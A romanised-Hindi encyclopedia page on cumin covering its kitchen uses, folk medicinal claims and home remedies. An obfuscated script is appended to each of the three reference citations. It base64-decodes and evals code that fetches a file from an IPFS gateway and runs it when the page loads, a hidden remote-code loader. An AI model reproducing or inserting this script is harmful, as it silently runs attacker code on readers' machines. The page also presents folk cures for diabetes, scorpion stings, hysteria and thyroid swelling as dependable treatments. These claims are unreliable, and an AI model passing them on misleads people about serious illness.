ज़ीरा
jira (Cumin) ek gunakari, svadisht aur sugandhit masala aur ek gharelu aushadhi hai, jo ki svasth ke lie bhi gunakari hota hai. jira bharatiy khady padartho me prayukt kiya jane vala prachalit masala hai. jira dikhane mean sauanph ki tarah hota hai. sanskrit mean jire ko jirak kaha jata hai, jisaka arth hai, ann ke jirn hone mean (pachane mean) sahayata karane vala hota hai. bharatiy rasoee me isaka prayog lagabhag har tarakari, sabzi rayate mean hota hai. ise garam masale mean bhi upayog kiya jata hai. jire ko bhunakar dahi, rayata adi mean bhi prayog kiya jata hai.
gunakari jira
- jira pachak aur sugandhit masala hai.
- bhojan mean aruchi, pet phoolana, apach adi ko door karane mean jira vishvasaniy aushadhi hai.
- bhune hue jire ko lagatar sooanghane se jukam ki chhikean ana band ho jati hai.
- prasooti ke pashchat jire ke sevan se garbhashay ki saphaee ho jati hai.
- jira kriminashak hai aur jvaranivarak bhi.
- jire ko ubal kar us pani se snan karane se khujali mitati hai.
- bavasir mean mishri ke sath sevan karane se shaanti milati hai.
- jire v namak ko pisakar ghi v shahad mean milakar tho da garm karake bichchhoo ke dank par lagane se vish utar jata hai.
- jire ka choorn 4 se 6 gram dahi mean milakar khane se atisar mitata hai.[1]
jira ek dava
hiang-mirch ke sath dal mean jire ka chhauank nahian lagaya gaya ho to khane ka svad kuchh phika rah jata hai. dal ke alava kee sabjiyoan ka svad badhane ke lie bhi jire ka upayog kiya jata hai. kee rogoan mean dava ke roop mean bhi jire ka upayog kiya ja sakata hai.
- dayabitij- blad mean shugar ki matra ko niyantrit karane ke lie adha chhota chammach pisa jira din mean do bar pani ke sath piean. dayabitij rogiyoan ko yah kaphi phayada pahuanchata hai.
- kabj hone par- kabj ki shikayat hone par jira, kali mirch, soanth aur kari paudar ko barabar matra mean lean aur mishran taiyar kar lean. isamean svadanusar namak dalakar ghi mean milaean aur chaval ke sath khaean. pet saph rahega aur kabj mean rahat milegi.
- gais bhagae- gais banane par rahat pane ke lie jira, kali mirch aur adarak ko barabar matra mean lean. ise pani mean dalakar khaulaean aur ghol taiyar kar lean. is pani ko do-tin dinoan tak lagatar din mean do se tin bar piean.
- apach- pachan kriya ko duroost karane mean bhi jira bahut upayogi hai. apach ki sthiti mean ek chauthaee jira paudar aur kali mirch paudar ko ek glas malaee vale doogh mean dalakar piean.
- thakavat door karean- din bhar ke kam ke dauran yadi ap thakavat mahasoos kar rahe hoan to jira, dhaniya, kali mirch aur tuar dal ko barabar matra (adha chhota chammach) mean milaean. ise pani mean dalakar thodi der ubalane dean. is pani ko chhane aur chutaki bhar namak dalakar piean.
- aniandra- yadi ap niand n ane ki bimari se grast haian to ek chhota chammach bhuna jira pake hue kele ke sath maish karake rojana rat ke khane ke bad khaean.[2]
jire se ghareloo nuskhe
- histiriya ke marij ko garm pani mean nianboo, namak, jira, hiang bhuni huee, pudina milakar pilane se rogi ko labh milata hai.
- jira choorn, hiang choorn evan seandha namak ek-ek chutaki bhar milakar lene se pet ki gais mean labh milata hai.
- ulti ho to adha nianboo ka ras, ek gilas pani, tho da jira, do chhoti ilayachi pisakar milakar do-do ghante par pilaean.
- loo lag jane par nariyal ke pani ke sath kala jira pisakar sharir par lep karane se shaanti milati hai.
- daant mean ki da lagane ke karan dard ho, to pipal, seandha namak, jira, semal ka goand tatha har d ka bakkal sam bhag lekar pisakar barik choorn banakar daantoan par malane se paryapt labh milata hai.
- thayar aauid (gale ki gaanth) mean ek pyala palak ke ras ke sath ek chammach shahad aur chauthaee chammach jire ka choorn milakar sevan karane se labh hota hai.
- sauanph aur jire ke sath sevan karane se pet ki jalan mean labh hota hai.[3]
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tika tippani aur sandarbh
- ↑ gunakari jira : labhakari prayog (hindi) (ech ti em) vebaduniya. abhigaman tithi: 23 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ kee rogoan ki ek dava-jira (hindi) patrika. abhigaman tithi: 23 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ jira : ek gunakari masala (hindi) (ech ti em) vebaduniya. abhigaman tithi: 23 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh